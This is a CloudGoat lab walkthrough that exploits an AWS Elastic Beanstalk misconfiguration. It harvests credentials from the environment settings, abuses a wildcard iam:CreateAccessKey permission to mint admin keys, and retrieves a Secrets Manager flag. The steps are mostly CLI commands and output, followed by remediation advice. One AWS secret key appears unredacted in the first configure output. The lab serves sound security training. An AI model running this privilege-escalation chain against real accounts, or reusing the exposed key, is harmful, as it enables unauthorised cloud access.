Skip to content

Beanstalk Secrets Walkthrough

Lab Name: Beanstalk Secrets
Platform: CloudGoat

Elastic Beanstalk is AWS’s Platform-as-a-Service (PaaS) for web applications and services. You deploy code, and it handles capacity provisioning, load balancing, auto-scaling, and application health monitoring.

  • It provisions EC2 instances, Load Balancers, and Auto Scaling Groups.
  • You upload application code in a supported language, such as Node.js, Python, or Java, choose an execution platform, and Beanstalk manages the underlying AWS resources.

A common misconfiguration in Elastic Beanstalk is exposing sensitive data like database connection strings, API keys, or AWS credentials through environment variables or source code. These values can be accessed by users with permissions to read the environment configuration. This can lead to privilege escalation, data exposure, and lateral movement.

Store long-lived secrets in a managed secret store and restrict both retrieval and configuration-read access. In this lab, reading the environment exposes credentials for another IAM user.

Current Beanstalk platforms can resolve Secrets Manager and Parameter Store references into environment variables. Supported releases begin on 26 March 2025. Keep secret ARNs in configuration and grant retrieval only to the workload role. The resolved secret is still available to the application, and rotated values require an environment refresh. This improves secret management but does not protect a secret from code already running with the application’s access.


We start with initial credentials that have access to the Elastic Beanstalk service.

Credentials:

  • Access Key: [REDACTED_AWS_ACCESS_KEY_ID]
  • Secret Key: [REDACTED_AWS_SECRET_ACCESS_KEY]

First, configure the AWS CLI with the beanstalk profile.

Terminal window
aws configure --profile beanstalk
Output
AWS Access Key ID [None]: [REDACTED_AWS_ACCESS_KEY_ID]
AWS Secret Access Key [None]: +U/+a1azgqwcrGxJs3VaptceTnw/zmkmc9JLl2/Y
Default region name [None]: us-east-1
Default output format [None]: json

Verify the access.

Terminal window
aws sts get-caller-identity --profile beanstalk
Output
{
"UserId": "[REDACTED_AWS_USERID]",
"Account": "710506681373",
"Arn": "arn:aws:iam::710506681373:user/cgidtkpw8slyli_low_priv_user"
}

Discovering the Beanstalk Application & Environment

Section titled “Discovering the Beanstalk Application & Environment”

We found an application hosted on Elastic Beanstalk.

Terminal window
aws elasticbeanstalk describe-applications --query "Applications[*].{Name:ApplicationName,Versions:VersionLabels}" --output table --profile beanstalk
Output
------------------------------------
| DescribeApplications |
+---------------------+------------+
| Name | Versions |
+---------------------+------------+
| cgidtkpw8slyli-app | None |
+---------------------+------------+

Next, we discovered its environment.

Terminal window
aws elasticbeanstalk describe-environments --query "Environments[*].{App:ApplicationName,Env:EnvironmentName,Status:Status,URL:CNAME}" --output table --profile beanstalk
Output
--------------------------------------------------------------------------------------------------------------------------
| DescribeEnvironments |
+--------------------+---------------------+---------+-------------------------------------------------------------------+
| App | Env | Status | URL |
+--------------------+---------------------+---------+-------------------------------------------------------------------+
| cgidtkpw8slyli-app| cgidtkpw8slyli-env | Ready | cgidtkpw8slyli-env.eba-iftrmxpw.us-east-1.elasticbeanstalk.com |
+--------------------+---------------------+---------+-------------------------------------------------------------------+

Accessing the application URL reveals a running Python application.

We inspect the environment’s configuration settings for exposed secrets and use grep to filter the large output for relevant keys.

Terminal window
aws elasticbeanstalk describe-configuration-settings --application-name cgidtkpw8slyli-app --environment-name cgidtkpw8slyli-env --output yaml --profile beanstalk | grep -E '(ACCESS|SECRET)_KEY'
Output
Value: SECONDARY_SECRET_KEY=[REDACTED_SECONDARY_SECRET_KEY],PYTHONPATH=/var/app/venv/staging-LQM1lest/bin,SECONDARY_ACCESS_KEY=[REDACTED_AWS_ACCESS_KEY_ID]

We configure a new profile, secondary_creds, with the discovered keys.

Terminal window
aws configure --profile secondary_creds
Output
AWS Access Key ID [None]: [REDACTED_AWS_ACCESS_KEY_ID]
AWS Secret Access Key [None]: [REDACTED_AWS_SECRET_ACCESS_KEY]
Default region name [None]: us-east-1
Default output format [None]: json

Verify the identity of the new user.

Terminal window
aws sts get-caller-identity --profile secondary_creds
Output
{
"UserId": "[REDACTED_AWS_USERID]",
"Account": "710506681373",
"Arn": "arn:aws:iam::710506681373:user/cgidtkpw8slyli_secondary_user"
}

With these credentials, we enumerate other users in the account and find an admin_user. We check the policies attached to secondary_user to see if we can escalate privileges.

Terminal window
aws iam list-attached-user-policies --user-name cgidtkpw8slyli_secondary_user --profile secondary_creds
Output
{
"AttachedPolicies": [
{
"PolicyName": "cgidtkpw8slyli_secondary_policy",
"PolicyArn": "arn:aws:iam::710506681373:policy/cgidtkpw8slyli_secondary_policy"
}
]
}

We inspect the permissions in that policy.

Terminal window
aws iam get-policy-version --policy-arn arn:aws:iam::710506681373:policy/cgidtkpw8slyli_secondary_policy --version-id v1 --profile secondary_creds

The policy grants iam:CreateAccessKey on Resource: "*", so we can create keys for other users.

Output
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"iam:CreateAccessKey"
],
"Effect": "Allow",
"Resource": "*"
},
{
"Action": [ "iam:List*", "iam:Get*" ],
"Effect": "Allow",
"Resource": "*"
}
],
"Version": "2012-10-17"
}
}
}

We can abuse the iam:CreateAccessKey permission to generate new credentials for the admin_user.

Terminal window
aws iam create-access-key --user-name cgidtkpw8slyli_admin_user --profile secondary_creds --query "AccessKey.{ID:AccessKeyId,Secret:SecretAccessKey}" --output table
Output
----------------------------------------------------------------------
| CreateAccessKey |
+-----------------------+--------------------------------------------+
| ID | Secret |
+-----------------------+--------------------------------------------+
| [REDACTED_AWS_ACCESS_KEY_ID] | [REDACTED_AWS_SECRET_ACCESS_KEY] |
+-----------------------+--------------------------------------------+

The command returns a new access key and secret for the admin user, giving us its privileges.

Configure a new admin_user profile with the newly created keys.

Terminal window
aws configure --profile admin_user
Output
AWS Access Key ID [None]: [REDACTED_AWS_ACCESS_KEY_ID]
AWS Secret Access Key [None]: [REDACTED_AWS_SECRET_ACCESS_KEY]
Default region name [None]: us-east-1
Default output format [None]: json

Confirm that the new keys identify admin_user. Caller identity establishes which user we control; the later successful secret retrieval demonstrates the access available to it.

Terminal window
aws sts get-caller-identity --profile admin_user
Output
{
"UserId": "[REDACTED_AWS_USERID]",
"Account": "710506681373",
"Arn": "arn:aws:iam::710506681373:user/cgidtkpw8slyli_admin_user"
}

With admin privileges, we can now enumerate secrets stored in AWS Secrets Manager.

Terminal window
aws secretsmanager list-secrets --profile admin_user

We found a secret named cgidtkpw8slyli_final_flag.

Output
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-east-1:710506681373:secret:cgidtkpw8slyli_final_flag-MMZqVO",
"Name": "cgidtkpw8slyli_final_flag",
"LastChangedDate": "2025-06-20T06:49:18.324Z",
"SecretVersionsToStages": {
"terraform-20250620064917990300000002": [
"AWSCURRENT"
]
},
"CreatedDate": "2025-06-20T06:49:16.824Z"
}
]
}

Finally, retrieve the secret’s value to capture the flag.

Terminal window
aws secretsmanager get-secret-value --secret-id cgidtkpw8slyli_final_flag --profile admin_user
Output
{
"ARN": "arn:aws:secretsmanager:us-east-1:710506681373:secret:cgidtkpw8slyli_final_flag-MMZqVO",
"Name": "cgidtkpw8slyli_final_flag",
"VersionId": "terraform-20250620064917990300000002",
"SecretString": "[REDACTED_FLAG]",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": "2025-06-20T06:49:18.320Z"
}

Secret Found: [REDACTED_FLAG]

  • Keep secrets out of environment variables and source code, where they were exposed in this lab.
  • Store API keys, database credentials, and access keys in AWS Secrets Manager or AWS Systems Manager Parameter Store.
  • Remove the iam:CreateAccessKey permission on all users (Resource: "*") from secondary_user. Scope its IAM policies to the resources it needs.